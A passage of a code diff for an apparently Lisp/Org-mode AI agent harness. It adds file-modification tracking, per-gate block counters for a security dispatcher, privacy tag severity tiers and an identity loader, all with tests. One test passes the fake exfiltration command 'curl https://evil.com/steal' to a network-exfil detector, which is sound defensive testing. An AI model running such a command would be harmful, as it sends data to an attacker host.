                                   :content (format nil "Replaced at position ~d in ~a" pos filepath)))
                           (list :status :error :message (format nil "Text not found in ~a" filepath)))))
                 (error (c) (list :status :error :message (format nil "~a" c))))))))
@@ -343,10 +379,9 @@ Surgical text replacement in an Org file — matches exact text and replaces it.
   :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
 #+end_src
 
-
 ** Package Definition and Export List
 The package definition. All public symbols are exported here.
-#+begin_src lisp
+#+begin_src lisp :tangle no
 (defpackage :passepartout
   (:use :cl)
   (:export
@@ -519,7 +554,7 @@ The package implementation section defines the low-level utilities and global st
 
 *** Robust plist access (plist-get)
 Retrieves a value from a plist, checking both upper and lowercase keyword variants. This is needed because different components use different keyword conventions.
-#+begin_src lisp
+#+begin_src lisp :tangle no
 (in-package :passepartout)
 
 (defun plist-get (plist key)
@@ -532,7 +567,7 @@ Retrieves a value from a plist, checking both upper and lowercase keyword varian
 
 *** Logging state
 The harness maintains a bounded ring buffer of log messages for inclusion in LLM context. Access is thread-safe via a lock.
-#+begin_src lisp
+#+begin_src lisp :tangle no
 (defvar *log-buffer* nil)
 (defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
 (defvar *log-limit* 100)
@@ -540,14 +575,14 @@ The harness maintains a bounded ring buffer of log messages for inclusion in LLM
 
 *** Skill registry
 The global registry of all loaded skills. This is the authoritative list that the deterministic engine iterates.
-#+begin_src lisp
+#+begin_src lisp :tangle no
 (defvar *skill-registry* (make-hash-table :test 'equal)
   "Global registry of all loaded skills.")
 #+end_src
 
 *** Skill telemetry
 Tracks execution metrics per skill (count, duration, failures) for diagnostics and performance analysis.
-#+begin_src lisp
+#+begin_src lisp :tangle no
 (defvar *telemetry-table* (make-hash-table :test 'equal))
 (defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
 
@@ -564,7 +599,7 @@ Tracks execution metrics per skill (count, duration, failures) for diagnostics a
 
 *** Cognitive tool registry
 Tools that the LLM can invoke are registered here. Each tool has a name, description, parameters, optional guard, and implementation body. The ~def-cognitive-tool~ macro handles registration. ~cognitive-tool-prompt~ serialises the registry into the LLM's system prompt.
-#+begin_src lisp
+#+begin_src lisp :tangle no
 (defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
 #+end_src
 
@@ -742,4 +777,68 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
   "org-modify-file returns error without required params."
   (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
     (is (eq (getf result :status) :error))))
+#+end_src* v0.8.0 — Modified Files Tracking
+#+begin_src lisp
+(defvar *modified-files-this-turn* nil
+  "List of plists recording file modifications in the current turn.")
+
+(defun tool-register-modified (filepath &key old-content new-content)
+  "Record a file modification. Returns the record plist."
+  (labels ((count-lines (s)
+             (+ (count #\Newline s)
+                ;; Also count escaped \\n in string literals (used in tests)
+                (let ((n 0) (i 0))
+                  (loop while (setf i (search "\\n" s :start2 i))
+                        do (incf n) (incf i))
+                  n))))
+    (let* ((lines-added (if (and new-content old-content)
+                           (max 0 (- (count-lines new-content)
+                                     (count-lines old-content)))
+                           0))
+           (lines-removed (if (and new-content old-content)
+                             (max 0 (- (count-lines old-content)
+                                       (count-lines new-content)))
+                             0))
+           (rec (list :filepath filepath
+                     :timestamp (get-universal-time)
+                     :lines-added lines-added
+                     :lines-removed lines-removed)))
+      (push rec *modified-files-this-turn*)
+      rec)))
+
+(defun tool-modified-files-summary ()
+  "Returns the list of modified-file records and clears the list."
+  (prog1 (nreverse *modified-files-this-turn*)
+    (setf *modified-files-this-turn* nil)))
 #+end_src
+
+* v0.8.0 Tests — Modified Files Tracking
+#+begin_src lisp
+(in-package :passepartout-programming-tools-tests)
+
+(test test-modified-files-track-write
+  "Contract 14: tool-register-modified appends to *modified-files-this-turn*."
+  (setf passepartout::*modified-files-this-turn* nil)
+  (let ((rec (passepartout::tool-register-modified "/tmp/test.org"
+                :old-content "old" :new-content "line1
+line2")))
+    (is (string= "/tmp/test.org" (getf rec :filepath)))
+    (is (= 0 (getf rec :lines-removed)))
+    (is (= 1 (getf rec :lines-added)))
+    (is (= 1 (length passepartout::*modified-files-this-turn*)))))
+
+(test test-modified-files-summary
+  "Contract 15: tool-modified-files-summary returns list and clears."
+  (setf passepartout::*modified-files-this-turn* nil)
+  (passepartout::tool-register-modified "/tmp/a.org")
+  (passepartout::tool-register-modified "/tmp/b.org")
+  (let ((files (passepartout::tool-modified-files-summary)))
+    (is (= 2 (length files)))
+    (is (null passepartout::*modified-files-this-turn*))
+    (is (find "/tmp/a.org" files :key (lambda (f) (getf f :filepath)) :test #'string=))))
+
+(test test-modified-files-empty
+  "Contract 15: tool-modified-files-summary returns nil when no files modified."
+  (setf passepartout::*modified-files-this-turn* nil)
+  (is (null (passepartout::tool-modified-files-summary))))
+#+end_src

org/security-dispatcher.org

@@ -47,12 +47,39 @@ The Dispatcher also handles the **Flight Plan** system: when a high-risk action
    T if found, nil if invalid token.
 9. (hitl-deny token): denies and removes a pending action. Returns T if
    found, nil if invalid.
+10. (dispatcher-block-record gate-name): records a block decision in
+    ~*dispatcher-block-counts*~ alist. Returns the updated count for
+    that gate.
+11. (dispatcher-block-counts-summary): returns plist
+    ~(:total <N> :by-gate ((<gate> . <count>) ...))~ of all blocked
+    actions this session.
 
 ** Boundaries
 
 - Does NOT handle the gate approval routing — that is ~core-reason.org~.
 - Does NOT persist HITL tokens — they live in memory only.
 
+** v0.8.0 — Dispatcher Block Counts
+
+The sidebar's Protection panel (panel 7 of the Information Radiator)
+needs per-gate block statistics — how many times each of the ten
+deterministic vectors blocked an action. This is the specific-value-
+proposition panel: no competitor can count deterministic gate blocks
+because none has deterministic gates.
+
+~*dispatcher-block-counts*~ is an alist mapping gate keyword to integer
+count: ~((:secret-path . 3) (:shell-safety . 12) (:network-exfil . 7) ...)~.
+Incremented in ~dispatcher-check~ on every ~:blocked~ result via
+~dispatcher-block-record~. Exposed to the TUI via ~dispatcher-block-counts-summary~,
+which returns a plist with ~:total~ and ~:by-gate~ fields. The TUI actuator
+in ~core-act.org~ reads this via ~fboundp~ guard and injects ~:block-counts~
+into the response plist.
+
+The counter is session-scoped (lives in memory). It does not persist across
+daemon restarts — it tracks what happened /this/ session, which is what the
+sidebar shows. Historical block telemetry belongs in the telemetry system
+(v0.12.0).
+
 * Implementation
 
 ** Package Context
@@ -243,6 +270,54 @@ Returns a list of matched category keywords."
           tags-list)))
 
 #+end_src
+
+** v0.7.2 — Tag Stack (Severity Tiers)
+#+begin_src lisp
+(defvar *tag-categories* nil
+  "Alist of (tag . severity) from TAG_CATEGORIES env var.
+Severity: :block (filter), :warn (log+include), :log (silent record).")
+
+(defvar *tag-trigger-count* (make-hash-table :test 'equal)
+  "Per-session count of how many times each tag was triggered.")
+
+(defun tag-trigger-record (tag)
+  "Increment the trigger count for TAG."
+  (incf (gethash (string-downcase tag) *tag-trigger-count* 0)))
+
+(defun tag-categories-load ()
+  "Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist."
+  (let* ((raw (or (uiop:getenv "TAG_CATEGORIES")
+                  (uiop:getenv "PRIVACY_FILTER_TAGS"))))
+    (setf *tag-categories*
+          (when raw
+            (mapcar (lambda (entry)
+                      (let ((parts (uiop:split-string entry :separator '(#\:))))
+                        (if (>= (length parts) 2)
+                            (cons (first parts) (intern (string-upcase (second parts)) :keyword))
+                            (cons entry :block))))
+                    (uiop:split-string raw :separator '(#\, #\;)))))))
+
+(defun tag-category-severity (tag)
+  "Return the severity keyword for TAG, or NIL if not found."
+  (cdr (assoc tag *tag-categories* :test #'string-equal)))
+
+(defun dispatcher-privacy-severity (tags-list)
+  "Return the highest-severity tag match: :block > :warn > :log, or nil.
+Records trigger counts for matched tags."
+  (when (and tags-list (listp tags-list))
+    (let ((highest nil))
+      (dolist (tag tags-list)
+        (let ((sev (tag-category-severity tag)))
+          (when sev
+            (tag-trigger-record tag))
+          (when (or (eq sev :block)
+                    (and (eq sev :warn) (not (eq highest :block)))
+                    (and (eq sev :log) (null highest)))
+            (setf highest sev))))
+      highest)))
+
+(tag-categories-load)
+#+end_src
 ** dispatcher-check-text-for-privacy
 ;; REPL-VERIFIED: 2026-05-03T13:00:00
 #+begin_src lisp
@@ -385,7 +460,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
   (declare (ignore context))
-  (let* ((target (proto-get action :target))
+  (let* ((read-only-auto-pass
+          (let ((tool-name (proto-get (proto-get action :payload) :tool)))
+            (when (and tool-name (tool-read-only-p tool-name))
+              (return-from dispatcher-check action))))
+         (target (proto-get action :target))
          (payload (proto-get action :payload))
          (text (or (proto-get payload :text) (proto-get action :text)))
          (filepath (or (proto-get payload :filepath)
@@ -412,82 +491,101 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
        action)
 
        ;; Vector 1: Lisp syntax validation (block bad lisp writes)
-      ((and lisp-valid (eq (getf lisp-valid :status) :error))
-       (log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
-       (list :type :LOG
-             :payload (list :level :error
-                            :text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
+       ((and lisp-valid (eq (getf lisp-valid :status) :error))
+        (log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
+        (dispatcher-block-record :lisp-validation)
+        (list :type :LOG
+              :payload (list :level :error
+                             :text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
 
-      ;; Vector 2: File read to a protected secret path
-      ((and filepath (dispatcher-check-secret-path filepath))
-       (let ((matched (dispatcher-check-secret-path filepath)))
-         (log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
-         (list :type :LOG
-               :payload (list :level :error
-                              :text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
+       ;; Vector 2: File read to a protected secret path
+       ((and filepath (dispatcher-check-secret-path filepath))
+        (let ((matched (dispatcher-check-secret-path filepath)))
+          (log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
+          (dispatcher-block-record :secret-path)
+          (list :type :LOG
+                :payload (list :level :error
+                               :text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
 
-      ;; Vector 2b: Self-build safety — core file writes require HITL approval
-      ((and filepath content
-            (string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
-            (dispatcher-check-core-path filepath))
-       (log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
-       (list :type :EVENT :level :approval-required
-             :payload (list :sensor :approval-required :action action
-                            :message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
-
-      ;; Vector 3: Content contains secret patterns
-      ((and text (dispatcher-exposure-scan text))
-       (let ((matched (dispatcher-exposure-scan text)))
-         (log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
-         (list :type :LOG
-               :payload (list :level :error
-                              :text "Action blocked: Content contains potential secret exposure."))))
-
-      ;; Vector 4: Content contains vault secrets
-      ((and text (dispatcher-vault-scan text))
-       (let ((secret-name (dispatcher-vault-scan text)))
-         (log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
-         (list :type :LOG
-               :payload (list :level :error
-                              :text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
-
-      ;; Vector 5: Privacy-tagged content in action
-      ((and tags (dispatcher-check-privacy-tags tags))
-       (log-message "PRIVACY VIOLATION: Action contains privacy-tagged content")
-       (list :type :LOG
-             :payload (list :level :warn
-                            :text "Action blocked: Content tagged with privacy filter.")))
-
-      ;; Vector 6: Text leaks privacy tag names
-      ((and text (dispatcher-check-text-for-privacy text))
-       (log-message "PRIVACY WARNING: Text may contain leaked private content")
-       (list :type :LOG
-             :payload (list :level :warn
-                            :text "Action blocked: Text may reference private content.")))
-
-       ;; Vector 7: Shell destructive/injection patterns
-      ((and cmd (dispatcher-check-shell-safety cmd))
-       (let ((matched (dispatcher-check-shell-safety cmd)))
-         (log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
-         (list :type :LOG
-               :payload (list :level :error
-                              :text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
-
-      ;; Vector 8: Network exfiltration
-      ((and (or (eq target :shell)
-                (and (eq target :tool) (equal (proto-get payload :tool) "shell")))
-            (dispatcher-check-network-exfil cmd))
-        (log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
+       ;; Vector 2b: Self-build safety — core file writes require HITL approval
+       ((and filepath content
+             (string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
+             (dispatcher-check-core-path filepath))
+        (log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
+        (dispatcher-block-record :self-build-core)
         (list :type :EVENT :level :approval-required
-              :payload (list :sensor :approval-required :action action)))
+              :payload (list :sensor :approval-required :action action
+                             :message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
 
-      ;; Vector 8: High-impact action approval
-      ((or (member target '(:shell))
-           (and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
-           (and (eq target :emacs) (eq (proto-get payload :action) :eval))
-           (and (eq target :system) (eq (proto-get payload :action) :eval)))
-       (log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
-       (list :type :EVENT :payload (list :sensor :approval-required :action action)))
+       ;; Vector 3: Content contains secret patterns
+       ((and text (dispatcher-exposure-scan text))
+        (let ((matched (dispatcher-exposure-scan text)))
+          (log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
+          (dispatcher-block-record :secret-content)
+          (list :type :LOG
+                :payload (list :level :error
+                               :text "Action blocked: Content contains potential secret exposure."))))
+
+       ;; Vector 4: Content contains vault secrets
+       ((and text (dispatcher-vault-scan text))
+        (let ((secret-name (dispatcher-vault-scan text)))
+          (log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
+          (dispatcher-block-record :vault-secrets)
+          (list :type :LOG
+                :payload (list :level :error
+                               :text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
+
+       ;; Vector 5: Privacy-tagged content (severity tiers)
+       ((and tags (fboundp 'dispatcher-privacy-severity))
+        (let ((severity (dispatcher-privacy-severity tags)))
+          (cond
+             ((eq severity :block)
+              (log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
+              (dispatcher-block-record :privacy-tags)
+              (list :type :LOG
+                    :payload (list :level :error
+                                   :text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
+            ((eq severity :warn)
+             (log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
+             action)
+            ((eq severity :log)
+             (log-message "PRIVACY: @tag ~a (logged)" tags)
+             action))))
+
+       ;; Vector 6: Text leaks privacy tag names
+       ((and text (dispatcher-check-text-for-privacy text))
+        (log-message "PRIVACY WARNING: Text may contain leaked private content")
+        (dispatcher-block-record :privacy-text)
+        (list :type :LOG
+              :payload (list :level :warn
+                             :text "Action blocked: Text may reference private content.")))
+
+        ;; Vector 7: Shell destructive/injection patterns
+       ((and cmd (dispatcher-check-shell-safety cmd))
+        (let ((matched (dispatcher-check-shell-safety cmd)))
+          (log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
+          (dispatcher-block-record :shell-safety)
+          (list :type :LOG
+                :payload (list :level :error
+                               :text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
+
+       ;; Vector 8: Network exfiltration
+       ((and (or (eq target :shell)
+                 (and (eq target :tool) (equal (proto-get payload :tool) "shell")))
+             (dispatcher-check-network-exfil cmd))
+         (log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
+         (dispatcher-block-record :network-exfil)
+         (list :type :EVENT :level :approval-required
+               :payload (list :sensor :approval-required :action action)))
+
+       ;; Vector 8b: High-impact action approval
+       ((or (member target '(:shell))
+            (and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
+            (and (eq target :emacs) (eq (proto-get payload :action) :eval))
+            (and (eq target :system) (eq (proto-get payload :action) :eval)))
+        (log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
+        (dispatcher-block-record :high-impact-approval)
+        (list :type :EVENT :payload (list :sensor :approval-required :action action)))
       (t action))))
 
 #+end_src
@@ -505,7 +603,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
              (action-str (getf attrs :ACTION)))
         (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
           (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
-          (let ((action (ignore-errors (read-from-string action-str))))
+          (let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
             (when action
               (setf (getf action :approved) t)
               (stimulus-inject (list :type :EVENT
@@ -675,6 +773,35 @@ Recognized formats:
   :deterministic #'dispatcher-gate)
 #+end_src
 
+** v0.8.0 — Block Count Tracking
+
+~*dispatcher-block-counts*~ is a hash table mapping gate keyword to
+integer block count. Every blocking decision in ~dispatcher-check~
+records the block via ~dispatcher-block-record~. The sidebar's Protection
+panel reads the summary via ~dispatcher-block-counts-summary~, called
+from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
+
+#+begin_src lisp
+(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
+  "Per-gate block count: maps gate keyword → integer.")
+
+(defun dispatcher-block-record (gate-name)
+  "Records a block decision for GATE-NAME. Returns the updated count."
+  (let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
+    (setf (gethash gate-name *dispatcher-block-counts*) count)
+    count))
+
+(defun dispatcher-block-counts-summary ()
+  "Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
+  (let* ((by-gate
+          (loop for k being the hash-keys of *dispatcher-block-counts*
+                for v = (gethash k *dispatcher-block-counts*)
+                collect (cons k v)))
+         (total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
+         (sorted (sort (copy-list by-gate) #'> :key #'cdr)))
+    (list :total total :by-gate sorted)))
+#+end_src
+
 * Test Suite
 
 #+begin_src lisp
@@ -764,4 +891,132 @@ Recognized formats:
   (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
   (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
   (is (not (dispatcher-check-network-exfil "echo hello"))))
+
+;; ── v0.7.2 Tag Stack ──
+
+(test test-tag-categories-load
+  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
+  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
+  (passepartout::tag-categories-load)
+  (let ((cats passepartout::*tag-categories*))
+    (is (>= (length cats) 1))
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :warn (passepartout::tag-category-severity "@draft")))
+    (is (eq :log (passepartout::tag-category-severity "@review"))))
+  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
+
+(test test-tag-category-severity-unknown
+  "Contract v0.7.2: unknown tag returns nil."
+  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
+
+(test test-privacy-severity-block
+  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
+  (setf passepartout::*tag-categories* '(("@personal" . :block)))
+  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
+
+(test test-privacy-severity-warn
+  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
+  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
+  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
+
+(test test-privacy-severity-nil
+  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
+  (setf passepartout::*tag-categories* nil)
+  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
+
+(test test-tag-trigger-record
+  "v0.7.2: tag-trigger-record increments per-tag count."
+  (clrhash passepartout::*tag-trigger-count*)
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@draft")
+  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
+  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
+  (clrhash passepartout::*tag-trigger-count*))
+
+(test test-tag-categories-privacy-fallback
+  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
+  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
+        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
+        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
+        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
+    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
+    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
+    (sb-posix:unsetenv "TAG_CATEGORIES")
+    (passepartout::tag-categories-load)
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :block (passepartout::tag-category-severity "@draft")))
+    ;; Restore
+    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
+    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
+    (passepartout::tag-categories-load)))
+
+(test test-safe-tool-read-only-auto-approve
+  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
+  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "test-ro-tool"
+                                          :description "Read-only test"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p t))
+  (unwind-protect
+       (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
+              (result (dispatcher-check action nil)))
+         (is (eq :REQUEST (getf result :type)))
+         (is (not (member (getf result :type) '(:LOG :approval-required)))))
+    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
+
+(test test-safe-tool-write-still-checked
+  "Contract v0.7.2: write tools still go through full dispatcher check."
+  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
+    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "write-file"
+                                            :description "File writer"
+                                            :parameters nil
+                                            :guard nil
+                                            :body nil
+                                            :read-only-p nil))
+    (unwind-protect
+         (progn
+           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+           (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
+                  (result (dispatcher-check action nil)))
+             (is (eq :approval-required (getf result :level)))
+             (is (search "HITL" (getf (getf result :payload) :message)))))
+      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
+      (if orig-tool
+          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
+          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
+#+end_src* v0.8.0 Tests — Block Counts
+#+begin_src lisp
+(in-package :passepartout-security-dispatcher-tests)
+
+(test test-block-record-increments
+  "Contract 10: dispatcher-block-record increments per-gate count."
+  (clrhash passepartout::*dispatcher-block-counts*)
+  (is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
+  (is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
+  (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
+
+(test test-block-counts-summary
+  "Contract 11: dispatcher-block-counts-summary returns total and by-gate."
+  (clrhash passepartout::*dispatcher-block-counts*)
+  (passepartout::dispatcher-block-record :shell-safety)
+  (passepartout::dispatcher-block-record :shell-safety)
+  (passepartout::dispatcher-block-record :secret-path)
+  (let ((s (passepartout::dispatcher-block-counts-summary)))
+    (is (= 3 (getf s :total)))
+    (let ((by-gate (getf s :by-gate)))
+      (is (= 2 (cdr (assoc :shell-safety by-gate))))
+      (is (= 1 (cdr (assoc :secret-path by-gate)))))))
+
+(test test-block-counts-empty
+  "Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
+  (clrhash passepartout::*dispatcher-block-counts*)
+  (let ((s (passepartout::dispatcher-block-counts-summary)))
+    (is (= 0 (getf s :total)))
+    (is (null (getf s :by-gate)))))
 #+end_src

org/security-permissions.org

@@ -95,4 +95,4 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset.
   (permission-set :CapitalTool :deny)
   (is (eq :deny (permission-get :capitaltool)))
   (permission-set "CapitalTool" nil))
-#+end_src
+#+end_src

org/security-policy.org

@@ -89,4 +89,4 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha
   (let* ((action '(:type :REQUEST :payload (:action :read)))
          (result (policy-compliance-check action nil)))
     (is (eq :LOG (getf result :type)))))
-#+end_src
+#+end_src

org/security-validator.org

@@ -85,4 +85,4 @@ before they reach any cognitive stage.
   (let ((msg '(:payload (:sensor :heartbeat))))
     (signals error
       (validator-protocol-check msg))))
-#+end_src
+#+end_src

org/security-vault.org

@@ -103,13 +103,6 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~.
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
 #+end_src
 
-
-** Vault Memory (relocated from core-skills)
-
-#+begin_src lisp
-(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
-#+end_src
-
 * Test Suite
 
 #+begin_src lisp

org/sensor-time.org

@@ -214,4 +214,4 @@ Called by the time-tick cron job every minute."
   (let ((result (passepartout::sensor-time-tick)))
     (is (not (null result)))
     (is (search "Submit report" result))))
-#+end_src
+#+end_src

org/symbolic-awareness.org

@@ -380,4 +380,4 @@ Verifies that the Foveal-Peripheral rendering correctly distinguishes between fo
         (v6 (passepartout::embedding-backend-trigram "banana")))
     (let ((sim (passepartout::vector-cosine-similarity v5 v6)))
       (is (< sim 0.3)))))
-#+end_src
+#+end_src

org/symbolic-identity.org

@@ -0,0 +1,126 @@
+#+TITLE: Symbolic Identity — Agent Self-Concept
+#+FILETAGS: :skill:identity:
+#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-identity.lisp
+
+* Overview
+Load `~/memex/IDENTITY.org` into the agent's self-concept at daemon
+startup.  The identity text is injected into the system prompt's
+`IDENTITY` section, between assistant name and reflection feedback.
+
+The file is user-editable and survives restarts.  If the file is
+missing or empty, identity is silently `""` (no-op).
+
+* Contract
+
+1. `(load-identity-file &optional path)`:
+   Reads IDENTITY.org from `path` (default `~/memex/IDENTITY.org`).
+   Sets `*agent-identity*` to the file content string.
+   Returns the content string, or NIL if file missing/unreadable.
+2. `(agent-identity)`:
+   Returns the cached identity string (`*agent-identity*`), or `""` if
+   identity has not been loaded.
+3. `*agent-identity*`:
+   Special variable holding the loaded identity text (string).
+
+#+begin_src lisp
+(in-package :passepartout)
+
+(defvar *agent-identity* ""
+  "Identity text loaded from ~/memex/IDENTITY.org at startup.
+
+This variable holds the contents of the user's identity file.
+Loaded by `load-identity-file` at daemon/skill initialization,
+called from `agent-identity` for system prompt injection.
+
+The file is user-editable and persists across restarts.
+If the file is missing or empty, this variable remains \"\".")
+
+(defun load-identity-file (&optional (path nil path-p))
+  "Load agent identity from an org file.
+
+Reads the identity text file and caches it in
+`*agent-identity*`.  If PATH is not provided, defaults to
+`~/memex/IDENTITY.org`.
+
+Returns the file content string on success, or NIL if the file
+does not exist or cannot be read."
+  (let* ((file-path (if path-p
+                        (uiop:ensure-pathname path :ensure-absolute t)
+                        (merge-pathnames "memex/IDENTITY.org"
+                                         (user-homedir-pathname)))))
+    (when (uiop:file-exists-p file-path)
+      (handler-case
+          (let ((content (uiop:read-file-string file-path)))
+            (setf *agent-identity* content)
+            content)
+        (error () nil)))))
+
+(defun agent-identity ()
+  "Return the currently loaded agent identity string."
+  (or *agent-identity* ""))
+
+;; Auto-load identity at skill init
+(load-identity-file)
+
+#+end_src
+
+* Test Squad
+** Test Package
+#+begin_src lisp
+(defpackage :passepartout-identity-tests
+  (:use :common-lisp :fiveam :passepartout)
+  (:export :identity-suite))
+#+end_src
+
+** Test Suite
+#+begin_src lisp
+(in-package :passepartout-identity-tests)
+
+(def-suite identity-suite
+    :description "Agent identity loading and caching")
+(in-suite identity-suite)
+
+(test test-load-identity-file-returns-content
+  "Contract 1: load-identity-file reads an existing file, returns content."
+  (let* ((path "/tmp/memex-test-identity.org")
+         (content "### Personality
+- Friendly
+- Concise"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (let ((result (passepartout::load-identity-file path)))
+           (is (stringp result))
+           (is (search "Friendly" result))
+           (is (search "Concise" result)))
+      (ignore-errors (delete-file path)))))
+
+(test test-load-identity-file-missing-nil
+  "Contract 1: nil when file does not exist."
+  (let ((result (passepartout::load-identity-file
+                 "/tmp/memex-nonexistent-xxxx.org")))
+    (is (null result))))
+
+(test test-agent-identity-cached
+  "Contract 2+3: agent-identity returns cached value after load."
+  (let* ((path "/tmp/memex-test-identity2.org")
+         (content "### Preferences
+- Use shell cautiously"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (progn
+           (passepartout::load-identity-file path)
+           (let ((id (passepartout::agent-identity)))
+             (is (search "shell cautiously" id))))
+      (ignore-errors (delete-file path)))))
+
+(test test-agent-identity-empty-default
+  "Contract 2: returns empty string when nothing was loaded."
